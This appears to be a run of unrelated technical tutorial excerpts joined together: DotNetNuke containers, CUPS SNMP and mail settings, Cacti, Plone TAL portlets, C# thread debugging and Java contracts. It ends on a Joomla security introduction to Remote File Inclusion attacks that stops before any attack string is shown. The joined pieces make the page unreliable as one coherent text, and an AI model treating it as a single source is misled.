determine which of the action buttons will be inserted into our container. The following is a listing: AddContent.Action: This typically allows you to add content, or in this case of the Text/HTML module, edit the content of the module. SyndicateModule.Action: This is an XML feed button, if it is supported by the module. PrintModule.Action: This is the printer icon allowing the users to print the content of the module. Yes, this is the second way of adding it as we already have the PRINTMODULE token. ModuleSettings.Action: This is a button/link which takes you to the settings of the module. ModuleHelp.Action—This is a help question mark icon/link that we've seen in the preceding screenshots. Adding to the container Now that we know what can be added, let's add them to our new container. We'll start off with the HTM file and then move on to the CSS file. In our HTM file, add the following code. This will utilize all of the container tokens with the exception of the action buttons, which we'll add soon. <div style="background-color:White;"> ACTIONS[ACTIONS] <hr /> TITLE[TITLE] <hr /> ICON[ICON] <hr /> VISIBILITY[VISIBILITY] <hr /> CONTENTPANE[CONTENTPANE] <hr /> LINKACTIONS[LINKACTIONS] <hr /> PRINTMODULE[PRINTMODULE]</div> Go to the skin admin page (Admin | Skins on the menu). Now that we have a container in the folder called FirstSkin, we'll now get a little added benefit: When you select FirstSkin as the skin to deal with, the container will be selected as well, so you can work with them as a unit or as a Skin Package. Go ahead, parse the skin package and apply our FirstSkin container. Go to the Home page. It may not be pretty, but pretty is not what we were looking for. This container, as it sits, gives us a better illustration of how each token is displayed with a convenient label beside each. There are a few things to point out here, besides we'll be taking out our handy labels and putting in some structure. Our module has no icon, so we won't see one here. If you go to the administrative pages, you will see the icon. The LINKACTIONS is a skin object that you'll use if you don't want to use the action menu ([ACTIONS]). Table Structure The structure of our container will be quite similar to how we laid out our skin. Let's start off with a basic table layout. We'll have a table with three rows. The first row will be for the header area which will contain things like the action menu, the title, icon, and so forth. The second row will be for the content. The third row will be for the footer items, like the printer and edit icon/links. Both the header and footer rows will have nested tables inside to have independent positioning within the cells. The markup which defines these three rows has been highlighted: <table border="0" cellpadding="0" cellspacing="0" class="ContainerMainTable"> <tr> <td style="padding:5px;"> <table border="0" cellpadding="0" cellspacing="0" class="ContainerHeader"> <tr> <td style="width:5px;">[ACTIONS]</td> <td style="width:5px;">[ICON]</td> <td align="left">[TITLE]</td> <td style="width:5px;padding-right:5px;" valign="top">[VISIBILITY]</td> <td style="width:5px;">[ACTIONBUTTON:4]</td> </tr> </table> </td> </tr> <tr> <td class="ContainerContent"> [CONTENTPANE] </td> </tr> <tr> <td style="padding:5px;"> <table border="0" cellpadding="0" cellspacing="0" class="ContainerFooter"> <tr> <td>[ACTIONBUTTON:1]</td> <td>[ACTIONBUTTON:2]</td> <td></td> <td>[ACTIONBUTTON:3]</td> <td style="width:10px;">[PRINTMODULE]</td> </tr> </table> </td> </tr></table> Making necessary XML additions The action buttons we used will not work unless we add items to our XML file. For each of our action buttons, we'll add a token element, then a few setting elements for each. There are three specific settings we'll set up for each: CommandName, DisplayIcon, and DisplayLink. See the following code: <Objects> <Object> <Token>[ACTIONBUTTON:1]</Token> <Settings> <Setting> <Name>CommandName</Name> <Value>AddContent.Action</Value> </Setting> <Setting> <Name>DisplayIcon</Name> <Value>True</Value> </Setting> <Setting> <Name>DisplayLink</Name> <Value>True</Value> </Setting> </Settings> </Object> <Object> <Token>[ACTIONBUTTON:2]</Token> <Settings> <Setting> <Name>CommandName</Name> <Value>SyndicateModule.Action</Value> </Setting> <Setting> <Name>DisplayIcon</Name> <Value>True</Value> </Setting> <Setting> <Name>DisplayLink</Name> <Value>False</Value> </Setting> </Settings> </Object> <Object> <Token>[ACTIONBUTTON:3]</Token> <Settings> <Setting> <Name>CommandName</Name> <Value>ModuleSettings.Action</Value> </Setting> <Setting> <Name>DisplayIcon</Name> <Value>True</Value> </Setting> <Setting> <Name>DisplayLink</Name> <Value>False</Value> </Setting> </Settings> </Object> <Object> <Token>[ACTIONBUTTON:4]</Token> <Settings> <Setting> <Name>CommandName</Name> <Value>ModuleHelp.Action</Value> </Setting> <Setting> <Name>DisplayIcon</Name> <Value>True</Value> </Setting> <Setting> <Name>DisplayLink</Name> <Value>False</Value> </Setting> </Settings> </Object></Objects> The CommandName is the attribute that determines which action button is used by the ordinal numeric values. Notice that these four action buttons use different CommandName values as you might expect. The DisplayIcon attribute is a Boolean (true/false or yes/no) value indicating whether or not the icon is displayed; the DisplayLink is similar and used for setting if the text is used as a link. A good example of both is the EditText ([ACTIONBUTTON:1]) in our Text/HTML module on the Home page. Notice that it has both the icon and the text as links to add/edit the content of the module.

How SNMP Behaves in the CUPS Web Interface In the CUPS web interface under the Administration tab, the option Find New Printers is used to discover printers that support SNMPv1. This will search and list the available network printers. The discovery of printers is based on the directive configuration done in the /etc/cups/snmp.conf file. On the basis of the search list, you can add a printer using the Add This Printer option. The process is very similar to the Add Printer wizard. Overview of Basic Debugging in CUPS-SNMP In the snmp.conf, we started discussion about various debugging levels in CUPS support. If the directive DebugLevel is set to anything other than 0, you will get the output accordingly. The debugging mode can be made active using the following command. As the SNMP backend supports debugging mode, the command for setting up debugging mode changes depending on the shell prompt. The SNMP backend is located at /usr/lib/cups/backend/snmp when using the Bourne, Bash, Z, or Korn shells. The following command will output verbose debugging information into the cupssnmp.log file when using those shells: $CUPS_DEBUG_LEVEL=1 /usr/lib/cups/backend/snmp 2>&1 | tee cupssnmp.log On Mac OS X, the SNMP backend is located /usr/libexec/cups. The following command will be used: $CUPS_DEBUG_LEVEL=1 /usr/libexec/cups/backend/snmp 2>&1 | tee cupssnmp.log If you are using the C or Tcsh shells, you can use the following command. $(setenv CUPS_DEBUG_LEVEL 1; /usr/lib/cups/backend/snmp) |& tee cupssnmp.log An example of the output might look like this: DEBUG: Scanning for devices in "public" via "@LOCAL"... DEBUG: 0.000 Sending 46 bytes to 192.168.0.255... DEBUG: 0.001 Received 50 bytes from 192.168.0.250... DEBUG: community="public" DEBUG: request-id=1213875587 DEBUG: error-status=0 DEBUG: 1.001 Scan complete! The above output shows that doesn't find any printer at the specified DeviceURI. The above shows the output at the basic debugging level; more information can be found if we use level 2 or 3. Overview of mailto.conf The CUPS provides the facility to send notifications through email. It can be done by integrating the local mail server with CUPS. The configuration file is /etc/cups/mailto.conf, and contains several directives and the characteristics and behavior of the local mail server and email notification for CUPS. We normally use each of the following directives in our daily communication done through mail. The Cc Directive The directive Cc (carbon copy) is used to specify an additional recipient for all email notifications. By default, the value directive is not set and the email is sent only to the administrator. The following examples shows that how email IDs can be specified with this directive. Cc kajol@cupsgrp.com Cc Kajol Shah <ks@cupsgrp.com> The From Directive This directive is used to specify the sender's name in the email notifications. By default, the ServerAdmin address specified in the cupsd.conf file is used. The following are some examples that show how the sender's email is specified with this directive: From cupsadmin@cupsgrp.com From Your CUPS Printer <cupsadmin@cupsgrp.com> The Sendmail Directive The directive Sendmail specifies the command to run and deliver an email locally. If there is an SMTPServer directive, then this directive cannot be used. If both directives appear in the mailto.conf file, then only the last directive is used. The following example shows how this directive can be specified. The default value for this directive is /usr/sbin/sendmail. Sendmail /usr/sbin/sendmail Sendmail /usr/lib/sendmail -bm -i The SMTPServer Directive This directive is used to specify an IP address or hostname of an SMTP mail server. As we have seen previously, this directive cannot be used with the Sendmail directive, and if both Sendmail and SMTPServer directives don't appear in the mailto.conf file, then the default Sendmail will be considered. The following are examples of the SMTP server: SMTPServer mail.mailforcups.com SMTPServer 192.168.0.17 The Subject Directive The Subject directive is used if you want to prefix some text to the subject line in each email that CUPS sends out. The following examples show how a prefix can be specified with this directive. By default, no prefix string is added: Subject [CUPS_ALERTS] Subject URGENT CUPS NOTICE Monitoring SNMP Printers As discussed, CUPS supports SNMPv1 for discovering SNMP enabled printers. This Simple Network Management Protocol-SNMP is used for managing networking printers. We can use any network monitoring tools that supports SNMP for monitoring these SNMP-enabled printers. You can check various open-source network monitoring tools at: http://www.openxtra.co.uk/network-management/monitor/open-source/ I would recommend you to use Cacti, which is a frontend to an RRDTool (Round Robin Database Tool) that collects and stores data in a MySQL database. The frontend is completely written in PHP. The advantage of Cacti over other network monitoring tool is that it has built-in SNMP capabilities and like other monitoring tools such as Nagios, it has its internal mechanism to check certain aspects of the infrastructure. It also provides a frontend for maintaining customized scripts, which an administrator normally creates. But the most important factor is that it is much easier to configure than Nagios. RRDTool is a system that stores high performance logging data and displays related time-series graphs. You can get more information about RRDTool from: http://oss.oetiker.ch/rrdtool/ Downloading and Installing Cacti The pre-requisites of Cacti include MySQL database, PHP, RRDTool, net-snmp, and PHP supported web servers such as Apache or IIS. You can get detailed information about the pre-requisites for Cacti installation at: http://www.cacti.net/downloads/docs/html/requirements.html The current stable release of Cacti is 0.8.7b. You can download various versions of Cacti for different platforms from: http://www.cacti.net/download_cacti.php You can get installation information for Cacti and its pre-requisites on the UNIX/Linux platform from: http://www.cacti.net/downloads/docs/html/install_unix.html The following URL will help you install Cacti on the Windows platform: http://www.cacti.net/downloads/docs/html/install_windows.html You can proceed further by clicking on Next. The next screen shows two options for a new install or an upgrade. If you want to do fresh installation, use the option New Install and click on Next. The screen also displays some useful information such as database user, database hostname, database name, and OS that was specified while configuring Cacti. If you want to upgrade the Cacti, follow the instructions mentioned here: http://www.cacti.net/downloads/docs/html/upgrade.html And then select the upgrade from cacti-current-version option and click on Next to proceed further. The following screen appears, which shows the recommended path of the binary files such as RRDTool, PHP, snmpwalk, snmpgetV, snmpbulkwalk, snmpgetnext, and information related to the Cacti log file and versions for net-snmp and RRDTool. If you found any change in the path with your installation, it should be modified first. Otherwise, Cacti may not work properly. Click on Finish to complete the installation procedure. Once the installation is finished and the next screen will ask for authentication. You need to use the username and the password mentioned in your database configuration to log into a Cacti application: You can use default login information to log in for the first time. Once you click on Login, the next screen will force you to change your password. Once the password is changed, you can see the main page of Cacti that contains two major tabs: console and graphs apart from other generalized options. The console tab contains various options related to the template and graphs management, whereas the graphs tab contains related graphs.  

(For more resources on Plone, see here.) Plone makes it easy to create new types of portlets that include custom programming logic for your site. There are several ways to create custom portlets, but the simplest way to get started is to use the add-on product collective.portlet.tal which provides a new type of portlet, called a TAL Portlet. This portlet allows you to write simple bits of code using Zope's TAL templating language. Let's walk through a quick example of building a custom TAL portlet, which will show a randomly-selected news item from your site. Installing collective.portlet.tal Before you can add a TAL portlet, you must download the product from Plone.org/products and install the add-on product collective.portlet.tal on your site. The best way to do this is to modify your buildout.cfg file. Add collective.portlet.tal to the eggs and zcml sections of your buildout. Here's a code snippet with the changes made to it: [buildout] ... eggs = ... collective.portlet.tal [instance] recipe = plone.recipe.zope2instance ... zcml = collective.portlet.tal Once you've made these changes, re-run buildout by issuing the following command: $ ./bin/buildout Once you've added the product to your buildout, visit Site Setup and choose Add/Remove Products, to install collective.portlet.tal in your site. Finally, add a few news items to your site so that we have something for our new TAL portlet to find. Adding a simple TAL portlet With the collective.portlet.tal product in place, the following can happen: Navigate to your Plone site. Choose Manage Portlets in the right column. From the Add portlet... drop-down list, choose TAL Portlet. You'll see an empty text box in which you can enter a title. We will specify Featured News Item as our title. We'll soon see the code needed to feature a random one of our site's published news items. In addition to the Title text box, you'll also see an HTML text area titled TAL code. Conveniently, this comes pre-populated with some boilerplate HTML and TAL code. Skim this, so that you get a feel for how this looks and what the common HTML structure is like, for a portlet in Plone. As an immediate experiment, we will find the following snippet of code: <dd class="portletItem odd"> Body text</dd> We will modify this, slightly, to: <dd class="portletItem odd"> Is this thing on?</dd> Click on Save and navigate through the site, and you should see your first TAL portlet in action. Of course, there's nothing in this example that couldn't be accomplished with a static text portlet. So let's navigate back to the Featured News Item portlet and make it a bit more interesting and dynamic. Update the code in your TAL Portlet to include the following: <dl class="portlet portlet${portlet_type_name}" tal_define="newsitems python:context.portal_catalog (portal_type='News Item', review_state='published');" tal_condition="newsitems"> <dt class="portletHeader"> <span class="portletTopLeft"></span> <span> Featured News Item </span> <span class="portletTopRight"></span> </dt> <dd class="portletItem odd" tal_define="random_newsitem python:random.choice(newsitems)"> <a tal_content="random_newsitem/Title" href="[replaced by random news item link]" title="[replaced by random news item title]" tal_attributes="href random_newsitem/getURL; title random_newsitem/Title">[replaced by random news item title]</a> </dd> <dd class="portletFooter"> <span class="portletBotomLeft"></span> <span> <a href="http://example.com/news">More news...</a> </span> <span class="portletBottomRight"></span> </dd> </dl> Now, let's go into more detail on a few of these sections, so that you understand what's happening. If at any point you need more context, try reading the excellent ZPT reference manual at http://plone.org/documentation/tutorial/zpt.

We can identify threads created using both the BackgroundWorker component and the Thread class. We can also identify the main application thread and we learned about the information shown by the Threads window. However, we must debug the encryption process to solve its problem without taking into account the other concurrent threads. How can we successfully debug the encryption engine focusing on one thread and leaving the others untouched? We can use the Threads window to control the execution of the concurrent thread at runtime without having to make changes to the code. This will affect the performance results, but it will allow us to focus on a specific part of the code as if we were working in a single-threaded application. This technique is suitable for solving problems related to a specific part of the code that runs in a thread. However, when there are problems generated by concurrency we must use other debugging tricks that we will be learning shortly. The Threads window does a great job in offering good runtime information about the running threads while offering a simple way to watch, pause, and resume multiple threads. Time for action – Leaving a thread running alone You must run the encryption procedure called by ThreadEncryptProcedure. But you want to focus on just one thread, in order to solve the problem that the FBI agents detected. Changing the code is not an option, because it will take more time than expected, and you might introduce new bugs to the encryption engine. Thus, let's freeze the threads we are not interested in! Now, we are going to leave one encryption thread running alone to focus on its code without the other threads disturbing our debugging procedure: Stay in the project, SMSEncryption. Clear all the breakpoints. Press Ctrl + Shift + F9 or select Debug | Delete AllBreakpoints in the main menu. Make sure the Threads window is visible. Define a breakpoint in the line int liThreadNumber = (int)poThreadParameter; in the ThreadEncryptProcedure procedure code. Enter or copy and paste a long text, using the same lines (with more than 30,000 lines) in the Textbox labeled Original SMS Messages, as shown in the following image: Click on the Run in a thread button. The line with the breakpoint defined in the ThreadEncryptProcedure procedure is shown highlighted as the next statement that will be executed. The current thread will be shown with a yellow arrow on the left in the Threads window. Right-click on each of the other encryption threads and select Freeze in the context menu that appears, in order to suspend them. If the current thread is Encryption #1 and there are four cores available, you will freeze the following threads—Encryption #0, Encryption #2, and Encryption #3. Right-click on the Main thread and select Freeze in the context menu that appears, in order to suspend it (we do not want the BackgroundWorker to start and interfere with our work). The only working thread that matters will be Encryption #1, as shown in the following image: Run the code step-by-step inspecting values as you do with single-threaded applications. What just happened? It is easy to debug a multi hreaded application focusing on one thread instead of trying to do it with all the threads running at the same time. We could transform a complex multi threaded application into a single-threaded application without making changes to the code. We did it at runtime using the multithreading debugging features offered by the C# IDE. We suspended the execution of the concurrent threads that would disturb our step-by-step execution. Thus, we could focus on the code being executed by just one encryption thread. Freezing and thawing threads Freezing a thread suspends its execution. However, in the debugging process, we would need to resume the thread execution. It can be done at any point of ti me by right-clicking on a suspended thread and selecting Thaw in the context menu that appears, as shown in the following image: By Freezing and Thawing threads (suspending and resuming), we can have an exhaustive control over the threads running during the debugging process. It helps a lot when we have to solve bugs related to concurrency as we can easily analyze many contexts without making changes to the code—which could generate new bugs. Nevertheless, when developing multithreaded applications, we must always test the execution with many concurrent threads running to make sure it does not have concurrency bugs. The debugging techniques allow us to isolate the code for evaluation purposes, but the final tests must use the full multithreading potential. Viewing the call stack for each running thread Each thread has its own independent stack. Using the Call Stack window, we can move through the methods that were called, as we are used to doing so in single-threaded applications. The main difference in doing this with multithreaded applications is that when the active thread changes, the Call Stack window will also show different content. Debugging a multi hreaded application using the techniques we are learning is an excellent way to understand how the different threads run and will improve our parallel programming skills. To show the call stack for the active thread, press Ctrl + Alt + C or go to Debug | Windows | Call Stack in the main menu. Make sure the Threads window is also visible to take into account the active thread when analyzing the call stack, as shown in the following image: Have a go hero – Debugging and enhancing the encryption algorithm Using the multithreaded debugging techniques we have learned so far, develop a new version of this application with the encryption problem solved. Take into account everything we have studied about freezing and thawing threads. Check the randomly generated garbage and the way it is applied to the generated encrypted string. Making some changes to it, you can have a robust encryption process that differentiates each output with the same input text. You can improve the new versions by using new randomly generated garbage to enhance the encryption algorithms. Oh no! You have to explain to the agents the changes you made to the encryption procedure, and how it works.  

We can use the BackgroundWorker component and then the Thread class to create new threads independent of the main application thread. The applications can respond to UI events, while the processing continues, and take full advantage of multiple cores, and can thus run faster. However, we are used to debugging applications that run in just one thread (the main thread), and there are many changes in the debugging process that generate great confusion when following the classic procedures running many concurrent threads. How can we successfully debug applications that are running many concurrent threads? Time for action – Understanding the difficulty in debugging concurrent threads Your cellular phone rings! The FBI agents have detected a problem with an encryption engine. When the application receives the same messages many times during a certain period, the encryption process generates exactly the same results, as shown in the following image: Thus, hackers could easily break the code once they discover this important bug. They ask for your help. Of course, you want to cooperate because you do not want the FBI agents to get angry with you. However, you need to debug the multithreaded encryption engine, and you have never done that! Let's create a solution for this problem! First, we are going to try to debug the multithreaded application the same way we do with a single-threaded application to understand the new problems we might face: Open the project, SMSEncryption. Define a breakpoint in the line int liThreadNumber = (int)poThreadParameter; in the ThreadEncryptProcedure procedure code. Press F5 or select Debug | Start Debugging in the main menu. Enter or copy and paste a long text (with more than 5,000 lines) in the Textbox labeled Original SMS Messages and click on the Run in a thread button. The line with the breakpoint defined is shown highlighted as the next statement that will be executed. Press F10 or select, Debug | Step Over in the main menu two or three times (depending on the number of cores you have in the computer). As you can see, the next statement that gets executed is the same even when you try to go on with the next one. It seems that the statement is not being executed. However, inspecting the value of poThreadParameter (the parameter passed to the ThreadEncryptProcedure procedure) shows that it changes each time you step over the statement, as shown in the following image: Stop the application and repeat the steps 1 to 5 to make sure you are not crazy because of parallelism, multithreading, and the FBI agents! What just happened? You are getting nervous about the debugging process! Do not worry. We will learn how to debug your encryption engine while the FBI agents kindly prepare a cup of fresh cappuccino for you. The debugger executed each new Thread class instance call to the Start method, with this line: prloThreadList[liThreadNumber].Start(liThreadNumber); Then, it entered in the ThreadEncryptProcedure method (we have used the same method for every created encryption thread) with different values for the poThreadParameter parameter. Therefore, you stayed in the same statement as many times as the threads were created (equivalent to the number of cores available in the computer) in the following line: int liThreadNumber = (int)poThreadParameter; As we can see, debugging this way is very confusing, because the IDE switches from one thread to another, and you loose control over the statements that are going to be executed next. In a debugging process, you need to know in which part of the application you are. As we tested our first attempt to debug a multithreaded application, we tried the same technique as with single-threaded applications. There are new subjects to learn and new techniques to use. Debugging concurrent threads When we need to inspect values, execute a procedure step-by-step, and find solutions to problems related to some specific code, the best way to achieve that with a multithreaded application is to work with it as a single-threaded application. But, how can we do that? It is very simple. We must run one thread at a time and freeze the other concurrent threads while we are debugging the thread in which we are interested and on which we are focusing. When we debug single-threaded applications, we are aware of the method in which we are positioned and its context. In multithreaded applications, we must also be aware of the thread in which we are positioned. If we do not know in which thread we are executing statements, we will be completely confused in just a few seconds, as happened in our previous activity. We must tailor our multithreaded applications to simplify the debugging process. If we do not do this, the debugging process will be a nightmare. Indeed, we do not want that to happen! Time for action – Finding the threads You wonder where the threads are. How can you guess in which thread you are working while executing the application step-by-step? You are an excellent C# programmer, but multithreaded debugging is very confusing. You do not want the FBI agents to realize that you are in trouble. However, you must hurry up, because they have a great training in detecting nervous people in the course of their usual interrogations. Now, we are going to use the IDE features to help us find the threads in a multithreaded application: Using the same project that we used in the previous example, with the same breakpoint defined, press F5 or select Debug | Start Debugging in the main menu. Enter or copy and paste a long text (with more than 5,000 lines) in the Textbox labeled Original SMS Messages and click on the Run in a thread button. The line with the breakpoint defined is shown highlighted as the next statement that will be executed. Select Debug | Windows | Threads in the main menu or press Ctrl + Alt + H. The Threads window will be shown, displaying all the threads created by the application process, as shown in the following image: The yellow arrow in the left of the thread list points out the current thread—the thread for which the IDE is showing the current statement. Press F10 or select Debug | Step Over in the main menu. As you can see, the next statement is the same again, but the current thread pointed out in the thread list changes, as shown in the following image: Go on running the application step-by-step and watch how the current thread changes. Observe the Threads window throughout your debugging process. What just happened? You found the threads in the debugging process. Now, you believe you will be able to make the necessary changes to the application if you learn a few debugging techniques quickly. The Threads window displays the list of threads created by the application process. Many of them are created automatically by the C# runtime. The others are created by the Thread class instances and the BackgroundWorker component we have in the application. Using the Threads window, we can easily determine in which thread we are executing when debugging a multithreaded application. It is indeed very helpful. Remember that each thread has its own stack.  

Documenting Java Everybody knows the basics of documenting Java, so we won't go into much detail. We'll talk a bit about ways of writing code whose intention is clear, mention some Javadoc tricks we can use, and highlight some tools that can help keep our code clean. Clean code is one of the most important ways we can document our application. Anything we can do to increase readability will reduce confusion later (including our own). Self-documenting code We've all heard the myth of self-documenting code. In theory, code is always clear enough to be easily understood. In reality, this isn't always the case. However, we should try to write code that is as self-documenting as possible. Keeping non-code artifacts in sync with the actual code is difficult. The only artifact that survives a project is the executable, which is created from code, not comments. This is one of the reasons for writing self-documenting code. (Annotations, XDoclet, and so on, make that somewhat less true.) There are little things we can do throughout our code to make our code read as much like our intent as possible and make extraneous comments just that: extraneous. Document why, not what Over-commenting wastes everybody's time. Time is wasted in writing a comment, reading it, keeping that comment in sync with the code, and, most importantly, a lot of time is wasted when a comment is not accurate. Ever seen this? a += 1; // increment a This is the most useless comment in the world. Firstly, it's really obvious we're incrementing something, regardless of what that something is. If the person reading our code doesn't know what += is, then we have more serious problems than them not knowing that we're incrementing, say, an array index. Secondly, if a is an array index, we should probably use either a more common array index or make it obvious that it's an array index. Using i and j is common for array indices, while idx or index is less common. It may make sense to be very explicit in variable naming under some circumstances. Generally, it's nice to avoid names such as indexOfOuterArrayOfFoobars. However, with a large loop body it might make sense to use something such as num or currentIndex, depending on the circumstances. With Java 1.5 and its support for collection iteration, it's often possible to do away with the index altogether, but not always. Make your code read like the problem Buzzphrases like Domain Specific Languages (DSLs) and Fluent Interfaces are often heard when discussing how to make our code look like our problem. We don't necessarily hear about them as much in the Java world because other languages support their creation in more "literate" ways. The recent interest in Ruby, Groovy, Scala, and other dynamic languages have brought the concept back into the mainstream. A DSL, in essence, is a computer language targeted at a very specific problem. Java is an example of a general-purpose language. YACC and regular expressions are examples of DSLs that are targeted at creating parsers and recognizing strings of interest respectively. DSLs may be external, where the implementing language processes the DSL appropriately, as well as internal, where the DSL is written in the implementing language itself. An internal DSL can also be thought of as an API or library, but one that reads more like a "little language". Fluent interfaces are slightly more difficult to define, but can be thought of as an internal DSL that "flows" when read aloud. This is a very informal definition, but will work for our purposes Java can actually be downright hostile to some common DSL and fluent techniques for various reasons, including the expectations of the JavaBean specification. However, it's still possible to use some of the techniques to good effect. One typical practice of fluent API techniques is simply returning the object instance in object methods. For example, following the JavaBean specification, an object will have a setter for the object's properties. For example, a User class might include the following: public class User {private String fname;private String lname;public void setFname(String fname) { this.fname = fname; }public void setLname(String lname) { this.lname = lname; }} Using the class is as simple as we'd expect it to be: User u = new User();u.setFname("James");u.setLname("Gosling"); Naturally, we might also supply a constructor that accepts the same parameters. However, it's easy to think of a class that has many properties making a full constructor impractical. It also seems like the code is a bit wordy, but we're used to this in Java. Another way of creating the same functionality is to include setter methods that return the current instance. If we want to maintain JavaBean compatibility, and there are reasons to do so, we would still need to include normal setters, but can still include "fluent" setters as shown here: public User fname(String fname) {this.fname = fname;return this;}public User lname(String lname) {this.lname = lname;return this;} This creates (what some people believe is) more readable code. It's certainly shorter: User u = new User().fname("James").lname("Gosling"); There is one potential "gotcha" with this technique. Moving initialization into methods has the potential to create an object in an invalid state. Depending on the object this may not always be a usable solution for object initialization. Users of Hibernate will recognize the "fluent" style, where method chaining is used to create criteria. Joshua Flanagan wrote a fluent regular expression interface, turning regular expressions (already a domain-specific language) into a series of chained method calls: Regex socialSecurityNumberCheck =new Regex(Pattern.With.AtBeginning.Digit.Repeat.Exactly(3).Literal("-").Repeat.Optional.Digit.Repeat.Exactly(2).Literal("-").Repeat.Optional.Digit.Repeat.Exactly(4).AtEnd); Whether or not this particular usage is an improvement is debatable, but it's certainly easier to read for the non-regex folks. Ultimately, the use of fluent interfaces can increase readability (by quite a bit in most cases), may introduce some extra work (or completely duplicate work, like in the case of setters, but code generation and/or IDE support can help mitigate that), and may occasionally be more verbose (but with the benefit of enhanced clarity and IDE completion support). Contract-oriented programming Aspect-oriented programming (AOP) is a way of encapsulating cross-cutting functionality outside of the mainline code. That's a mouthful, but essentially it means is that we can remove common code that is found across our application and consolidate it in one place. The canonical examples are logging and transactions, but AOP can be used in other ways as well. Design by Contract (DbC) is a software methodology that states our interfaces should define and enforce precise specifications regarding operation. "Design by Contract" is a registered trademark of Interactive Software Engineering Inc. Other terms include Programming by Contract (PbC) or Contract Oriented Programming (COP). How does COP help create self-documenting code? Consider the following portion of a stack implementation: public void push(final Object o) {stack.add(o);} What happens if we attempt to push a null? Let's assume that for this implementation, we don't want to allow pushing a null onto the stack. /*** Pushes non-null objects on to stack.*/public void push(final Object o) {if (o == null) return;stack.add(o);} Once again, this is simple enough. We'll add the comment to the Javadocs stating that null objects will not be pushed (and that the call will fail/return silently). This will become the "contract" of the push method—captured in code and documented in Javadocs. The contract is specified twice—once in the code (the ultimate arbiter) and again in the documentation. However, the user of the class does not have proof that the underlying implementation actually honors that contract. There's no guarantee that if we pass in a null, it will return silently without pushing anything. The implied contract can change. We might decide to allow pushing nulls. We might throw an IllegalArgumentException or a NullPointerException on a null argument. We're not required to add a throwsclause to the method declaration when throwing runtime exceptions. This means further information may be lost in both the code and the documentation. Eiffel has language-level support for COP with the require/do/ensure/end construct. It goes beyond the simple null check in the above code. It actively encourages detailed pre- and post-condition contracts. An implementation's push() method might check the remaining stack capacity before pushing. It might throw exceptions for specific conditions. In pseudo-Eiffel, we'd represent the push() method in the following way: push (o: Object) require o /= null do -- push end A stack also has an implied contract. We assume (sometimes naively) that once we call the push method, the stack will contain whatever we pushed. The size of the stack will have increased by one, or whatever other conditions our stack implementation requires. Java, of course, doesn't have built-in contracts. However, it does contain a mechanism that can be used to get some of the benefits for a conceptually-simple price. The mechanism is not as complete, or as integrated, as Eiffel's version. However, it removes contract enforcement from the mainline code, and provides a way for both sides of the software to specify, accept, and document the contracts themselves. Removing the contract information from the mainline code keeps the implementation clean and makes the implementation code easier to understand. Having programmatic access to the contract means that the contract could be documented automatically rather than having to maintain a disconnected chunk of Javadoc. SpringContracts SpringContracts is a beta-level Java COP implementation based on Spring's AOP facilities, using annotations to state pre- and post-contract conditions. It formalizes the nature of a contract, which can ease development. Let's consider our VowelDecider that was developed through TDD. We can also use COP to express its contract (particularly the entry condition). This is a method that doesn't alter state, so post conditions don't apply here. Our implementation of VowelDecider ended up looking (more or less) like this: public boolean decide(final Object o) throws Exception {if ((o == null) || (!(o instanceof String))) {throw new IllegalArgumentException("Argument must be a non-null String.");}String s = (String) o;return s.matches(".*[aeiouy]+.*");} Once we remove the original contract enforcement code, which was mixed with the mainline code, our SpringContracts @Precondition annotation looks like the following: @Precondition(condition="arg1 != null && arg1.class.name == 'java.lang.String'",message="Argument must be a non-null String")public boolean decide(Object o) throws Exception {String s = (String) o;return s.matches(".*[aeiouy]+.*");} The pre-condition is that the argument must not be null and must be (precisely) a string. (Because of SpringContracts' Expression Language, we can't just say instanceof String in case we want to allow string subclasses.) We can unit-test this class in the same way we tested the TDD version. In fact, we can copy the tests directly. Running them should trigger test failures on the null and non-string argument tests, as we originally expected an IllegalArgumentException. We'll now get a contract violation exception from SpringContracts. One difference here is that we need to initialize the Spring context in our test. One way to do this is with JUnit's @BeforeClass annotation, along with a method that loads the Spring configuration file from the classpath and instantiates the decider as a Spring bean. Our class setup now looks like this: @BeforeClass public static void setup() {appContext = new ClassPathXmlApplicationContext("/com/packt/s2wad/applicationContext.xml");decider = (VowelDecider)appContext.getBean("vowelDecider");} We also need to configure SpringContracts in our Spring configuration file. Those unfamiliar with Spring's (or AspectJ's) AOP will be a bit confused. However, in the end, it's reasonably straightforward, with a potential "gotcha" regarding how Spring does proxying. <aop:aspectj-autoproxy proxy-target-class="true"/><aop:config><aop:aspect ref="contractValidationAspect"><aop:pointcut id="contractValidatingMethods"expression="execution(*com.packt.s2wad.example.CopVowelDecider.*(..))"/><aop:around pointcut-ref="contractValidatingMethods"method="validateMethodCall"/></aop:aspect></aop:config><bean id="contractValidationAspect"class="org.springcontracts.dbc.interceptor.ContractValidationInterceptor"/><bean id="vowelDecider"class="com.packt.s2wad.example.CopVowelDecider" /> The SpringContracts documentation goes into it a bit more and the Spring documentation contains a wealth of information regarding how AOP works in Spring. The main difference between this and the simplest AOP setup is that our autoproxy target must be a class, which requires CGLib. This could also potentially affect operation. The only other modification is to change the exception we're expecting to SpringContract's ContractViolationCollectionException, and our test starts passing. These pre- and post-condition annotations use the @Documented meta-annotation, so the SpringContracts COP annotations will appear in the Javadocs. It would also be possible to use various other means to extract and document contract information. Getting into details This mechanism, or its implementation, may not be a good fit for every situation. Runtime performance is a potential issue. As it's just some Spring magic, it can be turned off by a simple configuration change. However, if we do, we'll lose the value of the on-all-the-time contract management. On the other hand, under certain circumstances, it may be enough to say that once the contracts are consistently honored under all of the test conditions, the system is correct enough to run without them. This view holds the contracts more as an acceptance test, rather than as run-time checking. Indeed, there is an overlap between COP and unit testing as the way to keep code honest. As unit tests aren't run all the time, it may be reasonable to use COP as a temporary runtime unit test or acceptance test.

PHP is an open-source server-side scripting language. It is the basis of many web applications. It works very nicely with database platforms such as Joomla!. Since Joomla! is growing, and its popularity is increasing, malicious hackers are looking for holes. The development community has the prime responsibility to produce the most secure extensions possible. In my opinion, this comes before usability, accessibility, and so on. After all, if a beautiful extension has some glaring holes, it won't be useable. The administrators and site development folks have the next layer of responsibility to ensure that they have done everything they can to prevent attacks by checking crucial settings, patching, and monitoring logs. If these two are combined and executed properly, they will result in secure web transactions. The SQL Injections, though very nasty, can be prevented in many cases; but a RFI attack is a more difficult one to stop altogether. So, it is important that you are aware of them and know their signs. Remote File Includes An RFI vulnerability exists when an attacker can insert a script or code into a URL and command your server to execute the evil code. It is important to note that File Inclusion attacks, such as these, can mostly be mitigated by turning Register_Globals off.Turning this off ensures that the $page variable is not treated as a super-global variable, and thus does not allow an inclusion. The following is a sanitized attempt to attack a server in just such a manner: 